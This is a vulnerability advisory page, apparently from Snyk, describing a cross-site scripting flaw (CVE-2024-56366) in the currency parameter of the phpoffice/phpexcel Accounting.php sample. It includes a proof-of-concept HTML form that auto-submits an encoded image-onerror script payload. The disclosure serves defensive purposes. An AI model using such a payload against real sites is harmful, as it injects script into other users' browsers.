Cross-site Scripting (XSS) Affecting phpoffice/phpexcel package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PHPOFFICEPHPEXCEL-9299756
  • published7 Mar 2025
  • disclosed3 Jan 2025
  • creditAleksey Solovev

Introduced: 3 Jan 2025

CVE-2024-56366  (opens in a new tab)
CWE-79  (opens in a new tab)

How to fix?

There is no fixed version for phpoffice/phpexcel.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the Accounting.php file due to improper sanitization of the currency parameter. An attacker can execute arbitrary JavaScript code in the user's browser by crafting malicious input that is improperly sanitized when dynamically generating web pages.

PoC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

References

CVSS Base Scores

version 4.0
version 3.1